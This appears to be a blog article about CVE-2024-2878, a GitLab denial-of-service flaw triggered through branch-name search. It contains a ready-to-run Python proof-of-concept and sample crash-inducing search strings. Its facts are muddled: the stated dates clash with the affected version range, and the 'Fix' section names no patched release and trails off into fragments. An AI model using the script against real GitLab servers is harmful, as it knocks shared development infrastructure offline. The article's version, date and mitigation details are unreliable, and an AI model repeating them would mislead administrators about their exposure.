In early 2024, GitLab users and administrators found themselves dealing with a critical security issue: CVE-2024-2878. This vulnerability allowed attackers to crash or disrupt GitLab instances—just by crafting odd search queries for branch names. In this article, I’ll walk you through what this vulnerability is, show how attackers can abuse it, and explain how to stay protected. If you use GitLab Community (CE) or Enterprise (EE) Edition, especially versions in the affected range, you should read closely.

What is CVE-2024-2878?

CVE-2024-2878 is a Denial of Service (DoS) vulnerability affecting GitLab CE/EE in specific versions:

From 16.11 up to, but not including, 16.11.2

Attackers can crash GitLab’s backend (or make it unresponsive) just by crafting unusual search terms for branch names in a repository. This sort of vulnerability is dangerous because it doesn’t require an attacker to be authenticated or to have any special privileges.

Why Does This Matter?

GitLab is a central piece of infrastructure for many teams—having it down, even for minutes, can disrupt code delivery, CI/CD pipelines, and development workflow.

Most importantly, CVE-2024-2878 doesn’t require complicated hacking. If the vulnerability isn’t patched, an attacker could repeatedly crash or hang your server at will, seriously impacting your team’s ability to work.

Technical Details: What’s Going On Under the Hood?

The core issue is in how GitLab validates (or fails to validate) certain search terms when someone tries to search for branch names.

The branch search functionality.

- Inputs aren’t properly sanitized or limited, so certain “weird” input patterns cause the backend (who processes the search queries) to crash or hang.

Typical Exploitation Steps

1. The attacker goes to a public GitLab project with lots of branches—or abuses personal GitLab group projects.
2. In the branch search bar, they enter an abnormally long, complex, or specially crafted pattern as a search term.
3. GitLab tries to process the search. Instead of properly validating or limiting the request, it tries to fulfill it—consuming excessive CPU/memory and potentially resulting in a crash or very slow response (DoS).

Proof of Concept: Exploiting CVE-2024-2878

Here's a simple demonstration using requests in Python to automate such a search against a GitLab instance:

import requests

# SET THESE VARIABLES TO TARGET YOUR TEST ENVIRONMENT
GITLAB_URL = "https://gitlab.example.com";
PROJECT_PATH = "group/project"
# Create a crazy-long or regex-like search term
SEARCH_TERM = "[" + "a" * 10000 + "]"

search_url = f"{GITLAB_URL}/{PROJECT_PATH}/-/branches?search={SEARCH_TERM}"

r = requests.get(search_url)
print("Status Code:", r.status_code)
print("Payload sent!")

What Happens?

- This script sends a GET request to the project’s branch search endpoint, but the search parameter is filled with an artificially long or specially crafted value.
- As reported, some constructions—especially those that look like regex character classes or wildcards—cause backend Ruby processes to use enormous resources, freezing or crashing them.

Example Search Terms That Trigger The Bug

While the issue is with “unusual” branch search terms, you don’t need advanced knowledge. Examples include:

Regex-like classes: '[A-Z]{10000}' or '[.*]'

- Wildcard globs: '<b>/</b>/**'

Malformed or trailing slashes

Just pasting one of these into the search box for branches is enough to trigger the bug on vulnerable versions.

Check this community video demonstrating the issue in action

- YouTube: CVE-2024-2878 Assessment & Demo

Mitigation and Patch

The Fix:

Check your current GitLab version by running

gitlab-rake gitlab:env:info

Restrict access: Put GitLab behind a VPN or firewall.

- Rate-limit branch search endpoints using web server/proxy rules.

- GitLab Security Release Blog (March 2024)
- GitLab Advisory CVE-2024-2878
- NIST National Vulnerability Database Entry

Conclusion

CVE-2024-2878 shows how even small input validation bugs can take down mission-critical infrastructure like GitLab. If you use an affected version, update right away—or mitigate using strict access controls and monitoring. This vulnerability is easy to exploit, and proof-of-concept code (like above) is trivial. Don’t let your team’s work grind to a halt—patch now!


*Stay safe, keep your GitLab updated, and always follow security advisories for the tools you use.*

Timeline

Published on: 02/05/2025 13:15:22 UTC
Last modified on: 02/05/2025 20:15:44 UTC